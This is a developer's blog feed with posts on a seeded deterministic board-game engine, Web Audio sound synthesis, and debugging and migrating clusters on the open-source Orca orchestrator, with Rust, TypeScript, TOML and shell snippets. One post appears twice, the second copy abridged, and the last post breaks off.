DEV Community: Sharang Parnerkar

A pure, seeded game engine gives you multiplayer almost for free

Sharang Parnerkar — Fri, 11 Sep 2026 16:57:04 +0000

I built a board game as a browser app (Samudra Manthana), and adding online multiplayer turned out to be almost anticlimactic - not because netcode is easy, but because one early design constraint did most of the work.

The constraint: the engine is a pure, deterministic, serialisable function.

export function applyAction(state: GameState, action: Action): GameState {
  const s: GameState = structuredClone(state); // never mutate the input
  // ... validate + apply, entirely from s and action ...
  return s;
}

No Date.now(), no Math.random(), no I/O, no reaching outside. Same input, same output, forever. Every bit of randomness comes from a seeded PRNG whose state lives inside GameState.

The RNG is a single uint32

It is mulberry32 - a whole PRNG in one 32-bit integer of state, seeded from a string hash:

// string seed -> uint32 starting state
function hashSeed(seed: string): number {
  let h = 1779033703 ^ seed.length;
  for (let i = 0; i < seed.length; i++) {
    h = Math.imul(h ^ seed.charCodeAt(i), 3432918353);
    h = (h << 13) | (h >>> 19);
  }
  return (h ^ (h >>> 16)) >>> 0;
}

class Rng {
  state: number;
  next(): number {
    let t = (this.state = (this.state + 0x6d2b79f5) | 0);
    t = Math.imul(t ^ (t >>> 15), t | 1);
    t ^= t + Math.imul(t ^ (t >>> 7), t | 61);
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  }
  int(maxExclusive: number) { return Math.floor(this.next() * maxExclusive); }
}

Because the RNG state serialises with everything else, a game is fully described by its seed plus the list of actions taken. That single property buys you a lot.

Multiplayer falls out of it

The server does not reimplement any rules. It holds the authoritative GameState and runs the exact same applyAction. Clients send actions; the server validates and applies through a thin adapter, then broadcasts the new state:

interface GameAdapter {
  currentSeat(state): string | null;
  isTerminal(state): boolean;
  winner(state): string | null;
  // Validate + apply an action from a seat; return the new state, or null if illegal.
  apply(state, seat, action): unknown | null;
  botAction(state, seat, persona): unknown | null;
}

No client-side prediction to reconcile, no desync class of bugs, and replays are free (seed + actions). The adapter is even game-agnostic, so one server process serves two different games.

The one bug worth warning you about

The interesting failure was in action canonicalisation. Clients often omit optional fields ("spawn a unit" without saying where, defaulting to home). The server matches an incoming action against the legal set with a key() function - and if key() does not resolve the same defaults the engine does, a perfectly legal move gets rejected as illegal. Non-mercenary clans could not spawn online until the key resolved at ?? homeHex exactly the way the engine did.

Lesson: the client and server must canonicalise actions identically. The determinism gives you correctness for free everywhere except the boundary where an under-specified action becomes a concrete one. Pin that down and the rest really is almost free.

Play it in the browser (hotseat, vs bots, or online): https://mighty840.itch.io/samudra-manthan

Every sound in my browser game is a few lines of Web Audio (no files)

Sharang Parnerkar — Tue, 08 Sep 2026 17:08:12 +0000

I have been building a browser board game (Samudra Manthana, an asymmetric strategy game), and when it came time to add sound, the usual route was to go shopping: find effects, check each licence, download a pile of .wav files, and watch the bundle get heavier.

I did not do that. Every sound effect in the game is synthesised at runtime with the Web Audio API. No files, no licences, almost no bytes. Here is the whole approach.

Two primitives

It turns out you can build a surprisingly expressive palette from just two functions.

A tone: one note with a soft attack and an exponential decay.

function tone(freq, dur, type = 'sine', gain = 0.18, delay = 0) {
  const t = ctx.currentTime + delay;
  const osc = ctx.createOscillator();
  const g = ctx.createGain();
  osc.type = type;                                    // sine | triangle | square | sawtooth
  osc.frequency.setValueAtTime(freq, t);
  g.gain.setValueAtTime(0.0001, t);
  g.gain.linearRampToValueAtTime(gain, t + 0.012);    // soft attack
  g.gain.exponentialRampToValueAtTime(0.0001, t + dur); // decay
  osc.connect(g).connect(master);
  osc.start(t);
  osc.stop(t + dur + 0.03);
}

And a thud: a short burst of filtered noise, for impacts.

function thud(dur, gain, lowpass) {
  const buf = ctx.createBuffer(1, ctx.sampleRate * dur, ctx.sampleRate);
  const data = buf.getChannelData(0);
  for (let i = 0; i < data.length; i++)
    data[i] = (Math.random() * 2 - 1) * (1 - i / data.length); // white noise, fading out
  const src = ctx.createBufferSource(); src.buffer = buf;
  const filt = ctx.createBiquadFilter(); filt.type = 'lowpass'; filt.frequency.value = lowpass;
  const g = ctx.createGain();
  g.gain.setValueAtTime(gain, ctx.currentTime);
  g.gain.exponentialRampToValueAtTime(0.0001, ctx.currentTime + dur);
  src.connect(filt).connect(g).connect(master);
  src.start();
}

That is the entire kit. Layer a couple of tones, add a thud, pick the pitch and length, and you have a sound.

A voice per event

The game narrates itself through a log ("chronicle"), so the sound layer just maps each kind of event to a little synthesised voice, tuned to be quiet rather than arcade-loud:

const SFX = {
  move:     () => tone(520, 0.06, 'triangle', 0.09),
  combat:   () => { thud(0.14, 0.16, 900); tone(120, 0.14, 'sawtooth', 0.09); },
  tribute:  () => { tone(784, 0.10); tone(1047, 0.14, 'sine', 0.09, 0.05); },
  glory:    () => { tone(659, 0.12, 'sine', 0.14); tone(880, 0.14, 'sine', 0.12, 0.08);
                    tone(1175, 0.18, 'sine', 0.1, 0.16); },   // a rising chime
  churning: () => { tone(90, 0.5, 'sawtooth', 0.1); tone(180, 0.5, 'sine', 0.06, 0.03); }, // deep rumble
};

// win flourish: a C-E-G-C major arpeggio
const playWin = () => [523, 659, 784, 1047].forEach((f, i) => tone(f, 0.35, 'sine', 0.16, i * 0.12));

Because it is driven off the log, I get sound for free in every mode. A tiny effect watches the log and plays one cue per new entry - hotseat or online, no extra wiring:

useEffect(() => {
  for (let i = seen.current; i < game.log.length; i++) playSfx(game.log[i].kind);
  seen.current = game.log.length;
}, [game.log]);

The HUD makes sounds too, deliberately different from the game (lighter and drier): a committing action gets a firm two-note cue, a small toggle gets a quiet tick. Your fingers learn the difference.

The one real recording, and the autoplay gotcha

There is exactly one audio file in the whole thing: the background music (dropped low, looped, and started from a random point each load so no two sessions open on the same bar). Everything is gated behind the first user gesture, because browsers will not let you make noise until the user has interacted:

window.addEventListener('pointerdown', unlockAudio, { once: true });

Why bother

The entire sound design adds almost nothing to the download, carries zero licensing strings, and is trivial to tweak - a sound is just numbers, so making the churn deeper or a move softer is a one-line change.

If you want to hear it, the game is playable in the browser: https://mighty840.itch.io/samudra-manthan. Turn sound on and have a churn.

WebAssembly as a first-class workload - next to your containers

Sharang Parnerkar — Sat, 05 Sep 2026 15:51:53 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

Most orchestrators run containers. Orca runs containers and WebAssembly modules, as equal citizens. That's not a checkbox feature - it's a bet about where a lot of small workloads are heading, and it shaped the internals.

The same machine, two runtimes

Here's a Wasm service in the same config file as your containers:

[[service]]
name = "edge-fn"
runtime = "wasm"
module = "./modules/api.wasm"     # local path or OCI reference
triggers = ["http:/api/edge/*"]   # route these requests to the module
replicas = "auto"

[service.env]
API_KEY = "${secrets.edge_key}"

The only thing marking it as different from a container is runtime = "wasm" and a module instead of an image. Everything else - placement, secrets, env, domains, the reconciler that keeps it running - is identical.

That's deliberate. Internally, Orca has a single Runtime trait. There's a ContainerRuntime backed by Docker and a WasmRuntime backed by wasmtime, and the reconciler dispatches to whichever one a service declares. The scheduler doesn't know or care which it's placing. Adding Wasm as a first-class workload wasn't a special case bolted onto the container path; it was implementing one more Runtime.

If you've ever tried to graft a second execution model onto a system that assumed one, you know how much that abstraction is worth. The trait was the whole game.

Why bother, when containers exist

Containers are great. But a container is a heavy way to run a 200-line function that fires on an HTTP path. You're carrying a whole userland, a cold start measured in seconds, and a memory floor that makes "run a hundred tiny endpoints" expensive.

Wasm inverts those costs. A module is a few hundred kilobytes. It starts in milliseconds. The sandbox is the execution model, not a kernel feature you're trusting. For the class of workload that's really "a function behind a URL" - webhooks, edge transforms, glue endpoints, per-tenant customization - Wasm is structurally cheaper than a container, and it's not close.

Orca routes HTTP triggers straight to a module invocation. A request to /api/edge/* doesn't hit a long-lived container; it invokes the Wasm module. That's the seed of something I think matters for the kind of person this whole series is for: the self-hoster, the small team, the person running real things on modest hardware.

Where this goes: scale-to-zero

Here's the direction, stated honestly as direction and not as a shipped feature.

A container that serves an endpoint used twice a day still sits there, resident, costing you memory 24/7. A Wasm module that starts in milliseconds doesn't have to. It can genuinely scale to zero - nothing resident until a request arrives, spun up to serve it, gone again after. For a box hosting a long tail of rarely-hit endpoints, that's the difference between "I can afford to run all of these" and "I have to pick which ones survive."

That's the payoff I'm building toward: a small cluster where your handful of always-on containers coexist with an arbitrary number of scale-to-zero Wasm functions, all in the same service.toml, all reconciled by the same loop, all behind the same proxy and TLS. The container-only PaaS can't offer the second half of that. The abstraction that made Wasm a first-class runtime is what makes it reachable.

The through-line

If you've followed this series, you've seen the same instinct three times now: delete the dependency (secrets in git, no Vault), fix the disease not the symptom (the zombie-session liveness rewrite), refuse to guess (exact placement matching). Wasm-as-a-first-class-runtime is the same instinct pointed forward - build the one clean abstraction (Runtime) so that the next execution model is an implementation, not a rewrite.

That's what building an orchestrator for the gap between Coolify and Kubernetes actually feels like: not a smaller Kubernetes, but a different set of bets about what a small operator actually needs - and the discipline to keep the config on one screen while you make them.

Orca is open source (AGPL-3.0) on GitHub. If this series resonated, that's the best place to follow where it goes next.

WebAssembly as a first-class workload - next to your containers

Sharang Parnerkar — Fri, 04 Sep 2026 16:47:08 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

The same machine, two runtimes

Here's a Wasm service in the same config file as your containers:

[[service]]
name = "edge-fn"
runtime = "wasm"
module = "./modules/api.wasm"     # local path or OCI reference
triggers = ["http:/api/edge/*"]   # route these requests to the module
replicas = "auto"

[service.env]
API_KEY = "${secrets.edge_key}"

If you've ever tried to graft a second execution model onto a system that assumed one, you know how much that abstraction is worth. The trait was the whole game.

Why bother, when containers exist

Where this goes: scale-to-zero

Here's the direction, stated honestly as direction and not as a shipped feature.

The through-line

Orca is open source (AGPL-3.0) on GitHub. If this series resonated, that's the best place to follow where it goes next.

One upgrade, three outages: glibc, cgroups, and a placeholder bug

Sharang Parnerkar — Fri, 28 Aug 2026 22:56:58 +0000

This is the last of three parts. In part one I split my personal services onto their own two-node cluster. In part two I read the orchestrator's source and fixed two bugs, which shipped in the next release. This part is what happened when I installed that release.

It broke the cluster three separate ways. None of them shared a root cause. Here they are in the order I hit them.

Failure one: glibc floor

I copied the official release binary to the second node and the service went into a crash loop:

/usr/local/bin/orca: /lib/x86_64-linux-gnu/libc.so.6:
  version `GLIBC_2.32' not found (required by orca)

The node runs Ubuntu 20.04, which ships glibc 2.31. The official builds are linked against something newer, so the binary simply cannot load there. The controller node is newer and took the release fine. The old node could not.

The fix was to stop using the official binary on that node and build one linked against its glibc. Compiling inside a matching container does it:

docker run --rm -v "$PWD":/src -w /src rust:1-bullseye sh -c '
  apt-get update && apt-get install -y protobuf-compiler &&
  cargo build --release'

rust:1-bullseye is Debian 11, glibc 2.31, so the resulting binary runs on the 2.31 node.

The lesson: your oldest host sets your glibc floor for every prebuilt binary. Either build for that floor or retire the host. I now had a standing rule that any orchestrator upgrade on that node needs the container build. I also had a fresh argument for replacing the box.

Failure two: status=219/CGROUP

With a working binary in place, the unit still refused to start, now failing differently:

Main PID: ... (code=exited, status=219/CGROUP)

Exit 219 from systemd means it could not set up the service's cgroup. Not a binary problem at all. The node is a Virtuozzo container, and in that environment the systemd cgroup hierarchy has a hard cap:

$ cat /sys/fs/cgroup/systemd/cgroup.subgroups_limit
100

Then the count:

$ find /sys/fs/cgroup/systemd -type d | wc -l
101

At the cap. systemd could not create even one more service cgroup, so any new unit failed with 219, working binary or not.

What filled it was the interesting part. Two contributors. First, hours of crash-looping from failures one and two churned units. Second, and larger, leaked SSH session scopes. Every SSH login created a session-*.scope cgroup that this systemd version never cleaned up on logout. With zero users actually logged in, 96 of the 101 cgroup directories held no processes at all. My own repeated logins to debug the box had been quietly eating the budget.

The recovery was to remove the process-less session scopes, clear the failed state, and start:

for d in /sys/fs/cgroup/systemd/user.slice/user-*.slice/session-*.scope; do
  [ -s "$d/cgroup.procs" ] || sudo rmdir "$d"
done
sudo systemctl reset-failed orca-agent
sudo systemctl start orca-agent

The lesson: on a constrained container, the cgroup budget is a real, exhaustible resource. Automation or debugging that opens a lot of SSH sessions can silently consume it, and the failure it produces (219/CGROUP) points at systemd, not at whatever you were actually trying to start.

Failure three: the placeholder regression

The binary loaded, the unit started, and the cluster was still broken. Every domain on the controller node returned 404 while the containers underneath ran perfectly fine and served correct responses on localhost.

The orchestrator status showed those services as 0/1 stopped. But docker ps showed the containers up for days. The controller thought the services were not running; the containers disagreed.

The release I had just installed added a startup path that registered each service, and it treated services pinned to the controller's own hostname as remote placeholders: entries that mean "this belongs on some other node, wait for that node to report in". The controller then waited forever for a node that was itself, never adopted the already-running local containers, and never registered their routes. Hence 404 at the edge while the containers ran.

If that sounds familiar, it is the same family as the redeploy bug I fixed in part two: the controller's self-registration matching a placement lookup it should be excluded from. My fix covered the redeploy path. This was a different code path, added later, with the same blind spot.

Two things made it stickier than expected. The placeholder registration also persisted a stop-mark, so simply removing the pins from config was not enough to bring the services back; the reconciler still saw them as stopped. And the new release had dropped the CLI start verb, so clearing the mark meant calling the REST endpoint per service:

for s in app-a app-b app-c; do
  curl -s -X POST -H "Authorization: Bearer $TOKEN" \
    "http://127.0.0.1:PORT/api/v1/services/$s/start"
done

The durable fix was in configuration, and it is the through-line of this whole series: do not pin controller-hosted services at all. Unpinned services default to the controller anyway. Only services that genuinely live on a remote node get an explicit pin. I removed every controller pin, kept the one real remote pin, and filed the regression as orca#151.

The through-line

Across all three parts, one trap kept resurfacing: pinning a service to "the controller's own node" is a landmine in this orchestrator. It caused the redeploy 503 in part two and the placeholder 404 here, through two different code paths. The reliable rule is to never name the controller in a placement; let it be the default and reserve pins for remote nodes.

The other lesson is blunter. An end-of-life host turned a routine upgrade into a multi-hour, three-failure incident: glibc too old for the binary, a Virtuozzo cgroup cap I did not know existed, all of it made worse by the debugging itself. The single best fix for two of these three outages is to retire that box. That is now at the top of the list.

What I would keep, and what I would change

Keep:

Declarative reconcile with git-push deploys. It is fast and legible, and the same property that makes it dangerous makes recovery a git revert.
Reading the source. Twice it beat guessing outright.
Verifying in production against the real path, not in my head.

Change:

Never pin a service to the controller's own node.
Retire end-of-life hosts before they set your glibc floor and hand you exotic kernel limits.
Watch the cgroup budget on constrained containers, and do not let your own debugging sessions leak scopes into it.

That is the split, the bug hunt, and the upgrade. Three posts, one small orchestrator, and a much cleaner separation between the things I run for money and the things I run for fun.

Reading the orchestrator's Rust source to fix my own outage

Sharang Parnerkar — Tue, 25 Aug 2026 13:53:28 +0000

This is part two of three. In part one I split my personal services onto their own cluster. The cutover went fine. Then two things broke that had nothing to do with the migration itself and everything to do with the orchestrator's code, and because the orchestrator is a small open-source tool I run myself, I could go read it.

That turned out to be the whole point.

Symptom one: a shared domain that 404s at random

Two demo apps share a single hostname. A storefront answers /*, an admin panel answers /admin/*. After the migration, whichever one you hit would sometimes 404, and which one "won" changed after every deploy or health-check flap.

The orchestrator, orca, keeps a route table mapping each domain to a list of upstream targets. The request path already did the right thing: it matched the longest path prefix across all targets for a host. So the read side supported several services per domain. The write side did not.

The registration function replaced the whole entry:

// on each service's route update
route_table.insert(domain.clone(), targets.clone());

insert overwrites. So when the storefront registered its targets, it wiped the admin panel's, and vice versa. Every deploy or health transition re-ran registration for one service and clobbered its sibling. Last writer wins, and the loser's paths 404 until it happens to register next.

The removal paths already used the right idea, retain by service name, so only the registration path was wrong. The fix was to merge instead of replace: drop only this service's stale targets, then extend.

let entry = route_table.entry(domain.clone()).or_default();
entry.retain(|t| t.service_name != config.name);
entry.extend(targets.iter().cloned());
if entry.is_empty() {
    route_table.remove(&domain);
}

Twelve lines. Multi-service domains became stable across deploys.

Symptom two: webhook redeploys returning 503

The second problem showed up as soon as the automated deploy pipeline fired for the first time against controller-hosted services. Push, build, push image, the webhook calls the controller, and the controller answers 503 with a message about an agent not being connected.

The clue was "controller-hosted". Services that ran on a remote agent redeployed fine. Only services pinned to the controller's own node failed.

Reading the redeploy path, the cause was clean. The controller self-registers as a node in the cluster so it shows up in the node list. A service pinned to the controller's own hostname resolved to that self-registered node id. Redeploy then treated it like any remote node and tried to send the operation over a control WebSocket. But the controller does not hold a WebSocket to itself. No channel, so the operation failed with an "agent offline" error, surfaced as a 503.

The fix was to exclude the controller's own node id from the remote-placement match, so a service pinned to the controller falls through to the local path it should have taken:

let found = found.filter(|id| *id != master_node_id());

Both fixes went into one pull request: orca#138.

Verifying in production, not in my head

I did not want to trust a reread. The route fix I checked by hammering both paths of the shared domain and forcing redeploys to confirm the routes stayed put. The redeploy fix I checked with the real pipeline: an empty commit to one service repo, which ran CI, pushed the image, called the signed webhook, and this time the controller logged a successful redeploy and returned 200 instead of 503.

Building the patched binary had its own wrinkle. One of my nodes is old enough that I had to compile inside a glibc-2.31 container to get a binary it would run. That is a story for part three, and it is where this migration stopped being tidy.

The actual lesson

Two things generalize.

First, when you self-host a small tool, its source is part of your operational surface. I have spent hours poking at closed systems from the outside, inferring behavior from logs. Here the behavior was one function call away. Reading insert versus retain was faster and more certain than any amount of black-box probing.

Second, the "it worked before" detail localizes the bug. The route bug only appeared with two services on one domain, which is a shape the old single-node layout never had. The redeploy bug only appeared for controller-hosted services once an automated pipeline started calling redeploy. In both cases the exact conditions under which it broke pointed straight at the code path responsible. When something regresses, the first useful question is not "what is wrong" but "what is different about the case that fails".

Next time you hit a wall with a tool you run yourself, check whether you can read the wall. Often you can.

The fixes were real and they shipped in the next release. Installing that release is what broke the cluster three different ways in one afternoon. Part three: glibc, cgroups, and a bug I had just helped create.

Splitting one self-hosted cluster into two, without losing a byte

Sharang Parnerkar — Fri, 21 Aug 2026 13:49:13 +0000

For a while I ran everything on one small orchestrator: my company's tools and my personal side projects, mixed together on shared nodes, one git repo, one object storage account. It worked, but it was the wrong shape. Personal experiments could compete with production for memory, one repo held two very different blast radii, and the bill was a single lump.

So I split it. Personal services moved to their own git repo, their own cluster, their own nodes, and their own object storage project. This is part one of three: the plan and the cutover. Part two is the bug hunt that followed, and part three is the upgrade that broke everything three separate ways.

The setup

The orchestrator is orca, a small single-binary container orchestrator. Two facts about it shape everything below:

It is declarative and it prunes. A controller loop reads a directory of service definitions from git and converges the cluster to match. If you delete a service block and push, the container is removed. A git push is a deploy.
Ingress, TLS, and routing are built in. Each node runs a reverse proxy, and certificates are issued per domain over HTTP-01.

The new personal cluster would be two nodes: one box as the controller, and an older second box joining later as an agent. The business cluster stayed exactly where it was.

The mechanic that matters: reconcile prunes

Because the controller continuously converges the cluster to git, every edit is live the moment it lands on the branch the controller watches. That is convenient and it is dangerous. The dangerous case here was moving a node that already ran personal containers from the old cluster into the new one. If I just deleted those services from the old cluster's git, the controller would happily remove the containers, and depending on how volumes were declared, the data could go with them.

The trick is ordering. To hand a node from cluster A to cluster B without losing data:

Stop the agent on that node first. A controller cannot act on a node it cannot reach. The containers keep running, the volumes stay put.
Only then remove those services from cluster A's git. The controller drops them from desired state but physically cannot prune the now-unreachable node.
Remove the old containers locally, keeping the volumes.
Install the new controller, re-set the secrets, deploy. The new services reattach to the surviving volumes by name.

Downtime for the whole cutover was about half an hour, most of it TLS reissue.

Secrets do not travel as files

The per-service secret store is encrypted at rest with a per-node key. Copying the encrypted file to the new controller would have produced garbage. The path that worked was to export the plaintext on the old controller, stage it, and re-import on the new one:

# on the old controller, per service
orca secrets get MY_KEY   # prints the decrypted value

# stage the values, then on the new controller
orca secrets import -f staged.env

The values never touched a terminal I did not control, and the encrypted blobs never left their node.

Moving object storage without a server-side copy

The buckets lived in one object storage project and needed to move to a separate one. There is no server-side cross-project copy on this provider, so the move was a streamed rclone copy, run on a machine in the same data center as the storage so the bytes never left the region:

rclone copy business:media personal:media --transfers 16 -P
rclone check business:media personal:media --one-way

rclone check reporting zero differences over several thousand objects was the green light. From there the app config pointed at the new bucket, and the old one was retired at the end.

The footgun: a mount that silently vanished

One service, a Navidrome music server, kept losing its library on every deploy. A roughly 26 GB corpus would reappear as empty. The cause was a single misplaced line in the TOML config:

[[service]]
name = "navidrome"
# ...
[service.volume]
path = "/data"
mounts = ["/host/music:/music"]   # WRONG: this is service.volume.mounts

In TOML, a key that appears after a [section] header belongs to that section. So mounts here parsed as service.volume.mounts, a field the orchestrator does not read. It never saw the bind, and the image's own VOLUME declaration created a fresh anonymous volume every deploy. The fix was to move mounts above the first sub-table so it belongs to the top-level service:

[[service]]
name = "navidrome"
mounts = ["/host/music:/music"]   # top-level, seen by the orchestrator
# ...
[service.volume]
path = "/data"

The lesson is boring and worth internalizing: in TOML, section headers are sticky. A key is owned by whatever [table] most recently opened above it.

What made this easy

Most of the personal subdomains already pointed at the node that was becoming the new controller, because those services already ran there. So the big cutover needed almost no DNS change. The proxy came up, HTTP-01 reissued certificates for each domain, and the sites were back. The only real DNS work was two records for services that migrated off the business box later.

Verification

The checks I actually ran after deploy, in order:

Both databases present and listing their expected tables.
The music bind resolving to the host path, not a fresh volume.
Each domain returning a valid certificate and a 200.
A trivial push producing an automatic redeploy through the webhook.
The first scheduled backup landing in the new bucket.

That last one matters. A manual backup command only proved the local leg. Only the scheduled run proved the object storage upload path end to end.

The cutover was the calm part. Right after it, two demo apps that share a domain started returning 404s at random, and webhook redeploys began failing with 503s. That sent me into the orchestrator's own Rust source, which is part two.

`node = "ubuntu"` matched two machines: a placement split-brain

Sharang Parnerkar — Tue, 18 Aug 2026 13:45:35 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

In Orca you can pin a service to a specific machine:

[service.placement]
node = "ubuntu"

Simple, obvious, and it worked fine - right up until the cluster had two nodes whose names shared a prefix: ubuntu and ubuntu-16gb-fsn1-1.

Then one push recreated every pinned service on both machines. Including a database. Two Postgres instances, on two different hosts, both believing they were the one true copy of the same service. In production. A split-brain, born from a single line of code.

The one line

The placement matcher did this:

if node.address.contains(pin) { /* schedule here */ }

contains. A substring test. "ubuntu-16gb-fsn1-1".contains("ubuntu") is true. So a pin of "ubuntu" matched both nodes, and every service pinned to ubuntu got scheduled onto both.

Worse: which node "won" a plain deploy was decided by HashMap iteration order - non-deterministic across restarts. So the behavior wasn't even consistently wrong. It was randomly wrong, which is the most expensive kind.

Substring matching on an identity is one of those bugs that looks completely reasonable in the diff and is a landmine in the field. It works in every test you write, because your test nodes have distinct names. It only detonates when someone, months later, names a second node with an overlapping prefix - which is exactly the kind of thing people do.

The fix: exact identity, and refuse to guess

Two changes, and the second matters more than the first.

One - match exact identity, never a substring. A pin now matches a node only if it equals the node's id, its full ip:port address, the host portion of that address, or its hostname label. "ubuntu" matches the node named ubuntu and only that node.

Two - when a pin is ambiguous, refuse. This is the real lesson. If a pin somehow matches more than one node, the old code picked one (arbitrarily). The new code fails the deploy loudly:

placement pin "ubuntu" matches multiple nodes: 1 (10.0.0.1), 2 (10.0.0.2)
- refusing to schedule; make the pin unique

And if a pin matches nothing - a decommissioned node, a typo - it also refuses, instead of silently falling through to "just run it on the master." That silent fallback was its own latent bug: a mistyped pin would quietly deploy your service to the wrong machine and everything would look fine until it very much wasn't.

The principle is refuse, don't guess. An orchestrator that guesses when it's uncertain will eventually guess wrong at 3am, silently, in a way you find out about from a customer. An orchestrator that refuses hands you a clear error at deploy time, when you're right there watching. A loud failure you see beats a quiet success you don't.

The part I got wrong on the way

Here's the honest bit. When I shipped the exact-match fix, I audited the production config to make sure every existing pin still resolved. I checked the pins against the node addresses I had in memory - 217.154.26.121:9443 and friends - and concluded they were fine.

They weren't. Agents register with a hostname:port address, not ip:port. So the ten pins that used a bare IP suddenly matched nothing, and - thanks to the new "refuse, don't guess" behavior - those deploys started failing loudly.

Which was, ironically, the system working exactly as designed. The fix caught a real config problem (pins pointing at an identity the node doesn't actually register under) instead of silently papering over it. The remedy was to add peer-IP matching so IP pins work regardless of what the agent self-reports - but the meta-lesson stuck: audit against what the system actually stores, not against what you assume it stores. My mental model of the node addresses was wrong, and only the exact-match refusal surfaced it.

Two rules I'd tattoo on a junior engineer

Never substring-match an identity. Names, ids, addresses - compare them whole. The prefix collision is always coming; it's just a question of when.
Refuse when you're not sure. Ambiguity and "no match" are not edge cases to paper over with a default. They're exactly the moments to stop and shout, because a wrong guess in placement means your database is running in two places.

The whole thing was maybe forty lines of code to fix. The split-brain it prevents is unbounded. That ratio - tiny fix, huge blast radius avoided - is most of what infrastructure work actually is.

The WebSocket session that was dead for 10 days - and my dashboard said 'healthy'

Sharang Parnerkar — Fri, 14 Aug 2026 14:16:34 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

Here's the incident, cold:

A worker node in my cluster had a control-plane WebSocket session to the master that had been dead since the 7th. It was the 17th. For ten days, every deploy targeting that node timed out with agent did not acknowledge within 10s. And the entire time, the node showed up green in the dashboard. Its heartbeats were flowing. orca status cheerfully reported a service as 1/1 running - a container that had, in fact, been crashed for fourteen hours.

Nothing was on fire. Nothing was alerting. The system was lying to me with a completely straight face, and it had been for a week and a half.

Why the node looked alive

The master↔agent link is a WebSocket. The agent sends a heartbeat every 5 seconds; the master pushes a status ping every 30. The master tracks connected agents in a map keyed by node id. Simple.

The bug is that liveness was inferred from two different things that aren't the same thing. Heartbeats proved the agent process was alive. But deploys were dispatched over the WebSocket session. And those are only the same as long as the socket is actually open.

Then came a half-open TCP connection. The agent's box dropped off the network in a way that sent no FIN, no RST - a NAT conntrack timeout, a VM freeze, the kind of unclean disappearance that's depressingly common. On the master's side, the read on that socket just... blocked. Forever. No error. The session stayed in the connected map. Every status ping the master sent went into a kernel send buffer and evaporated.

Meanwhile the agent, on its side, was in the exact same state: its read blocked forever, and its 5-second heartbeat writes succeeded into a dead send buffer that would only surface an error after the TCP retransmit timeout - about fifteen minutes later, if ever.

So both ends believed they were connected. The map said "connected." And there was a rule - added to fix an earlier bug - that a node with a live session must never be pruned, no matter how stale its heartbeat. That rule was correct in spirit and catastrophic in practice, because "has an entry in the map" was being treated as proof of life. A zombie session is immortal under that rule.

The three prior "fixes" that missed

This was the fourth time this class of bug had bitten. Each previous fix had patched a symptom:

One stopped a node from being wrongly pruned while connected.
One improved the timeout error message.
One handled stale service state.

Every one of them treated a consequence. None of them touched the disease, which was this: node liveness was tracked separately from the channel the master actually dispatches over. As long as those were two different sources of truth, a half-open socket could always desync them.

The fix: liveness is the deploy channel

The permanent fix was to stop having two definitions of "alive." A session is alive if and only if it's carrying traffic. And here's the nice part - both sides already generate regular traffic (5s heartbeats, 30s pings), so I didn't need a new protocol at all. I just needed to enforce a deadline on it:

Master: each session's read loop runs under a read-idle deadline (30s, configurable). Silence past the deadline means the socket is half-open. Tear the session down: remove it from the map, drop the node's placeholder service state, mark it unreachable.
Agent: a 90-second read-idle deadline (three missed pings). A half-dead socket breaks the loop, and the existing backoff-reconnect takes over. No human, no restart.
A missed deploy ACK now has consequences. It doesn't just error - it kills the session, on the theory that an agent that can't ACK a deploy over the channel isn't really connected. The next deploy fails fast with "unreachable until it rejoins" instead of re-timing-out against a corpse.

The stale 1/1 running fixed itself as a consequence: placeholder state only exists while a live session refreshes it, so when the session dies, the placeholders die with it. The system can no longer report confident, hours-old lies, because the state that would tell the lie is gone.

The test that would have caught it

The reason this bug survived three fixes is that nobody had written the test that actually reproduces it. Killing a process is easy to test. A half-open socket is the hard case - the peer is gone but the TCP connection is still open. So the regression test does exactly that: it connects, then goes completely silent while holding the socket open, and asserts the master tears the session down within the deadline.

If your liveness check can't survive that test, it isn't a liveness check. It's a process check wearing a liveness check's clothes.

The lesson

Prove the thing you actually depend on, not a proxy for it. Heartbeats proved the process was up. I was deploying over the socket. Those were different questions, and the gap between them was a ten-day outage that never alerted.

The follow-on lesson is about recurrence: when the same class of bug bites more than twice, stop patching symptoms and go find the shared assumption underneath. Mine was "an entry in the connected map means the node is reachable." Once that assumption was false-by-construction - because a silent session gets torn down - the entire family of bugs closed at once.

It's been running in production since, and it's already earned its keep: when I decommissioned a node, its services dropped cleanly out of status instead of lingering as ghosts. The machinery told the truth about a node leaving. After ten days of it lying about a node staying, that felt like a real win.

Secrets that live in git - encrypted, no Vault, no sidecar

Sharang Parnerkar — Tue, 11 Aug 2026 14:21:39 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

Every orchestrator eventually has to answer: where do the secrets go?

The default industry answer is "run a secret manager" - Vault, or a cloud KMS, or Infisical. And for a while, that's what Orca did too. It shipped a managed Infisical sidecar. Then one day I sat down to draw the dependency graph and realized the whole thing was eating its own tail.

The circular dependency nobody mentions

Think about it. Your orchestrator deploys your services. Your services need secrets. So the orchestrator runs a secret manager to hold them. But the secret manager is itself a service - it needs to be deployed, it has its own config, its own credentials, its own availability requirements. Who deploys the thing that holds the secrets for the things you deploy?

You've created a bootstrap problem and an availability coupling in one move. If the secret manager is down, deploys fail. If it's slow, deploys are slow. And you've added a stateful service to operate specifically so you could avoid operating stateful services carefully.

For a tool whose whole pitch is "no hidden dependencies," that was untenable. So I ripped it out and replaced it with something that has no moving parts at all.

Secrets as an encrypted file in your repo

The GitOps world already solved this, and the answer is SOPS + age. Here's the shape of it in Orca:

Secrets live in a single SOPS-format JSON file committed to your config repo, right next to your service.tomls.
Keys stay in plaintext; only values are encrypted. So a git diff on a secret change shows you which secret changed - just not its value. That readability is the entire reason to prefer SOPS over an opaque encrypted blob.
Values are encrypted to age recipients - the master's key and your personal offline key. Multi-recipient means you can always decrypt the file locally for recovery, completely independent of whether the master is up.
The master decrypts in-process at load. No sops or age binary is invoked at runtime; it's a Rust library call.

Configuring it is one block:

[secrets]
encrypted_file = "secrets.enc.json"            # lives in the config repo
age_key_file   = "/root/.config/orca/age.key"  # master identity, kept OUT of git
age_recipients = ["age1master…", "age1operator…"]

And using a secret is the same ${secrets.KEY} reference it always was - nothing about the service config changed.

The properties that fall out of this

This design isn't just "fewer services." It buys real properties:

